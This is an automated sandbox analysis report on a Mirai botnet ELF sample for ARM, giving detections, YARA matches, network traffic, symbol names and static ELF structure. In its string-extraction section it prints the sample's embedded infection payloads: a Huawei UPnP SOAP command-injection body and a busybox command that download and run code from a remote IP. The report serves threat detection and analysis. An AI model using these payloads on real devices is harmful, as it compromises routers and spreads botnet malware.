Edit tour

Linux Analysis Report
UnHAnaAW.arm7.elf

Overview

General Information

Sample name:	UnHAnaAW.arm7.elf
Analysis ID:	1588051
MD5:	7758fa9117a2965ff1ebd9598086679d
SHA1:	e026a24e79eac2728b88165a0e18f51d0da9cb3e
SHA256:	f48abd156673d7a9ff255e7aec955aea64af83d18a216b1f2541cc96f973fcee
Tags:	elfMiraiuser-abuse_ch
Infos:

Detection

Mirai

Score:	76
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Contains symbols with names commonly found in malware

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara detected Mirai

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588051
Start date and time:	2025-01-10 21:06:25 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	UnHAnaAW.arm7.elf
Detection:	MAL
Classification:	mal76.troj.linELF@0/0@0/0

Warnings

VT rate limit hit for: http://141.98.10.115/bins/x86
VT rate limit hit for: http://141.98.10.115/zyxel.sh;

Runtime Messages

Command:	/tmp/UnHAnaAW.arm7.elf
PID:	6414
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

UnHAnaAW.arm7.elf (PID: 6414, Parent: 6207, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/UnHAnaAW.arm7.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author
UnHAnaAW.arm7.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
UnHAnaAW.arm7.elf	JoeSecurity_Mirai_2	Yara detected Mirai	Joe Security
UnHAnaAW.arm7.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6414.1.00007fa398017000.00007fa398030000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: UnHAnaAW.arm7.elf PID: 6414	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: UnHAnaAW.arm7.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: UnHAnaAW.arm7.elf	Virustotal: Detection: 66%			Perma Link
Source: UnHAnaAW.arm7.elf	ReversingLabs: Detection: 68%

Source: /tmp/UnHAnaAW.arm7.elf (PID: 6414)

Socket: 127.0.0.1:23455

Jump to behavior

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42

Source: UnHAnaAW.arm7.elf	String found in binary or memory: http://141.98.10.115/bins/x86
Source: UnHAnaAW.arm7.elf	String found in binary or memory: http://141.98.10.115/zyxel.sh;
Source: UnHAnaAW.arm7.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: UnHAnaAW.arm7.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown

Network traffic detected: HTTP traffic on port 43928 -> 443

System Summary

Contains symbols with names commonly found in malware

Source: ELF static info symbol of initial sample	Name: attack.c
Source: ELF static info symbol of initial sample	Name: attack_get_opt_int
Source: ELF static info symbol of initial sample	Name: attack_get_opt_ip
Source: ELF static info symbol of initial sample	Name: attack_get_opt_str
Source: ELF static info symbol of initial sample	Name: attack_init
Source: ELF static info symbol of initial sample	Name: attack_method.c
Source: ELF static info symbol of initial sample	Name: attack_method_asyn
Source: ELF static info symbol of initial sample	Name: attack_method_awe
Source: ELF static info symbol of initial sample	Name: attack_method_cia
Source: ELF static info symbol of initial sample	Name: attack_method_greeth

Source: UnHAnaAW.arm7.elf	ELF static info symbol of initial sample: __gnu_unwind_execute
Source: UnHAnaAW.arm7.elf	ELF static info symbol of initial sample: huawei_scanner_pid
Source: UnHAnaAW.arm7.elf	ELF static info symbol of initial sample: huawei_scanner_rawpkt

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 141.98.10.115 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://141.98.10.115/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Source: classification engine

Classification label: mal76.troj.linELF@0/0@0/0

Source: /tmp/UnHAnaAW.arm7.elf (PID: 6414)

Queries kernel information via 'uname':

Jump to behavior

Source: UnHAnaAW.arm7.elf, 6414.1.00007ffece279000.00007ffece29a000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/UnHAnaAW.arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/UnHAnaAW.arm7.elf
Source: UnHAnaAW.arm7.elf, 6414.1.00005603ae3c8000.00005603ae4f6000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: UnHAnaAW.arm7.elf, 6414.1.00005603ae3c8000.00005603ae4f6000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/arm
Source: UnHAnaAW.arm7.elf, 6414.1.00007ffece279000.00007ffece29a000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: UnHAnaAW.arm7.elf, 6414.1.00007ffece279000.00007ffece29a000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Source: Yara match	File source: UnHAnaAW.arm7.elf, type: SAMPLE
Source: Yara match	File source: 6414.1.00007fa398017000.00007fa398030000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UnHAnaAW.arm7.elf PID: 6414, type: MEMORYSTR

Source: Yara match	File source: UnHAnaAW.arm7.elf, type: SAMPLE
Source: Yara match	File source: 6414.1.00007fa398017000.00007fa398030000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UnHAnaAW.arm7.elf PID: 6414, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
UnHAnaAW.arm7.elf	67%	Virustotal		Browse
UnHAnaAW.arm7.elf	68%	ReversingLabs	Linux.Trojan.Mirai
UnHAnaAW.arm7.elf	100%	Avira	EXP/ELF.Mirai.Bootnet.o

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://141.98.10.115/bins/x86	UnHAnaAW.arm7.elf	false	unknown
http://141.98.10.115/zyxel.sh;	UnHAnaAW.arm7.elf	false	unknown
http://schemas.xmlsoap.org/soap/encoding/	UnHAnaAW.arm7.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	UnHAnaAW.arm7.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
109.202.202.202	unknown	Switzerland		13030	INIT7CH	false
91.189.91.42	unknown	United Kingdom		41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.42	UnHAnaAW.sh4.elf	Get hash	malicious	Mirai	Browse
	wrjkngh4.elf	Get hash	malicious	Unknown	Browse
	fqkjei686.elf	Get hash	malicious	Unknown	Browse
	ngwa5.elf	Get hash	malicious	Unknown	Browse
	wev86.elf	Get hash	malicious	Unknown	Browse
	main_arm5.elf	Get hash	malicious	Mirai	Browse
	Space.i686.elf	Get hash	malicious	Unknown	Browse
	frosty.arm7.elf	Get hash	malicious	Mirai	Browse
	frosty.mips.elf	Get hash	malicious	Mirai	Browse
	frosty.m68k.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	UnHAnaAW.sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	wrjkngh4.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	gnjqwpc.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	fqkjei686.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	ngwa5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	wev86.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	main_arm5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Space.i686.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	frosty.arm7.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	frosty.mips.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
INIT7CH	UnHAnaAW.sh4.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	wrjkngh4.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	fqkjei686.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	ngwa5.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	wev86.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	main_arm5.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	Space.i686.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	frosty.arm7.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	frosty.mips.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	frosty.m68k.elf	Get hash	malicious	Mirai	Browse	109.202.202.202

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
Entropy (8bit):	5.997029371003206
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	UnHAnaAW.arm7.elf
File size:	156'877 bytes
MD5:	7758fa9117a2965ff1ebd9598086679d
SHA1:	e026a24e79eac2728b88165a0e18f51d0da9cb3e
SHA256:	f48abd156673d7a9ff255e7aec955aea64af83d18a216b1f2541cc96f973fcee
SHA512:	32b7c0ca938b23e92aeb67871868619ad7337fbb2aa63af4d1131f030a1c0089a2ba38d39a4c411a5ec8b7311be0f6895137f29902258f875497cc44f30cb8cd
SSDEEP:	3072:MgxYi2gojQeTWKrsRdx4KD+w/6HCPK0d27u+bn5mx61JXnu/IM/9wBqh:HxYi2gojvTWK4R4KJZ27u+bnExIXnIIq
TLSH:	9FE34D56EA818E13C4D527BAB9AF01893332A75493DB730689185FB43FC6B6F0E77601
File Content Preview:	.ELF..............(.........4...........4. ...(........p(...(...(...................................@...@...............................l3..........................................Q.td..................................-...L..................@-.,@...0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	126960
Section Header Size:	40
Number of Section Headers:	29
Header String Table Index:	26

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x80f0	0xf0	0x17f3c	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x2002c	0x1802c	0x10	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x2003c	0x1803c	0xbd4	0x0	0x2	A	0	0	4
.ARM.extab	PROGBITS	0x20c10	0x18c10	0x18	0x0	0x2	A	0	0	4
.ARM.exidx	ARM_EXIDX	0x20c28	0x18c28	0x118	0x0	0x82	AL	2	0	4
.eh_frame	PROGBITS	0x29000	0x19000	0x4	0x0	0x3	WA	0	0	4
.tbss	NOBITS	0x29004	0x19004	0x8	0x0	0x403	WAT	0	0	4
.init_array	INIT_ARRAY	0x29004	0x19004	0x4	0x0	0x3	WA	0	0	4
.fini_array	FINI_ARRAY	0x29008	0x19008	0x4	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x2900c	0x1900c	0x4	0x0	0x3	WA	0	0	4
.got	PROGBITS	0x29010	0x19010	0xa8	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x290b8	0x190b8	0x204	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x292bc	0x192bc	0x30b0	0x0	0x3	WA	0	0	4
.comment	PROGBITS	0x0	0x192bc	0x94c	0x0	0x0		0	0	1
.debug_aranges	PROGBITS	0x0	0x19c08	0xc0	0x0	0x0		0	0	8
.debug_pubnames	PROGBITS	0x0	0x19cc8	0x213	0x0	0x0		0	0	1
.debug_info	PROGBITS	0x0	0x19edb	0x1d23	0x0	0x0		0	0	1
.debug_abbrev	PROGBITS	0x0	0x1bbfe	0x692	0x0	0x0		0	0	1
.debug_line	PROGBITS	0x0	0x1c290	0x9c7	0x0	0x0		0	0	1
.debug_frame	PROGBITS	0x0	0x1cc58	0x2b8	0x0	0x0		0	0	4
.debug_str	PROGBITS	0x0	0x1cf10	0x8ca	0x1	0x30	MS	0	0	1
.debug_loc	PROGBITS	0x0	0x1d7da	0x118f	0x0	0x0		0	0	1
.debug_ranges	PROGBITS	0x0	0x1e969	0x558	0x0	0x0		0	0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x1eec1	0x16	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x1eed7	0x117	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x1f478	0x4ad0	0x10	0x0		28	689	4
.strtab	STRTAB	0x0	0x23f48	0x2585	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x18c28	0x20c28	0x20c28	0x118	0x118	4.4505	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x18d40	0x18d40	6.0713	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x19000	0x29000	0x29000	0x2bc	0x336c	3.9013	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x19004	0x29004	0x29004	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
	.symtab	0x80d4	0	SECTION	<unknown>	DEFAULT	1
	.symtab	0x80f0	0	SECTION	<unknown>	DEFAULT	2
	.symtab	0x2002c	0	SECTION	<unknown>	DEFAULT	3
	.symtab	0x2003c	0	SECTION	<unknown>	DEFAULT	4
	.symtab	0x20c10	0	SECTION	<unknown>	DEFAULT	5
	.symtab	0x20c28	0	SECTION	<unknown>	DEFAULT	6
	.symtab	0x29000	0	SECTION	<unknown>	DEFAULT	7
	.symtab	0x29004	0	SECTION	<unknown>	DEFAULT	8
	.symtab	0x29004	0	SECTION	<unknown>	DEFAULT	9
	.symtab	0x29008	0	SECTION	<unknown>	DEFAULT	10
	.symtab	0x2900c	0	SECTION	<unknown>	DEFAULT	11
	.symtab	0x29010	0	SECTION	<unknown>	DEFAULT	12
	.symtab	0x290b8	0	SECTION	<unknown>	DEFAULT	13
	.symtab	0x292bc	0	SECTION	<unknown>	DEFAULT	14
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	15
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	16
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	17
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	18
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	19
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	20
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	21
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	22
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	23
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	24
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	25
$a	.symtab	0x80d4	0	NOTYPE	<unknown>	DEFAULT	1
$a	.symtab	0x2002c	0	NOTYPE	<unknown>	DEFAULT	3
$a	.symtab	0x80e0	0	NOTYPE	<unknown>	DEFAULT	1
$a	.symtab	0x20038	0	NOTYPE	<unknown>	DEFAULT	3
$a	.symtab	0x80f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8134	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8194	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x81d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x822c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8328	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8544	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x85b0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8620	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8e5c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9478	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9a94	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9f80	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa59c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa83c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xaadc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xad7c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb01c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb2bc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb55c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb7fc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xba9c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xbd3c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xbfdc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xc688	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xcd34	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xd3e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xda8c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe184	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe830	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xeec4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf2fc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf734	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfda0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfdf4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x105a8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10d5c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10dac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10e50	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10e78	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10f4c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11a30	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11a58	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11fec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12580	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12598	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x126fc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12744	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12834	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13018	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13074	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x130dc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x131ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13288	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x132b0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13378	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x134d8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13f74	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14514	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14c24	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14c48	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14ce8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14d88	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15228	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15250	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15324	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15e1c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15e44	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15e8c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15eb0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15ed4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15f40	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1607c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x160d8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1616c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x161fc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1627c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16378	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x163a0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16474	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16f14	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17028	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1703c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x170d4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x171c8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x171dc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x172bc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x172f4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17338	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17378	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x173bc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17440	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17480	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1750c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1753c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1757c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1768c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1775c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17820	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x178d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x179b8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x179d8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17a10	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17a20	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17a30	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17ad0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17af4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17b1c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17b60	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17bd4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17c18	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17c5c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17cd0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17d14	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17d5c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17d9c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17de0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17e50	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17e98	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17f20	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17f64	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17fd4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18020	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x180a8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x180f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18134	0	NOTYPE	<unknown>	DEFAULT	2
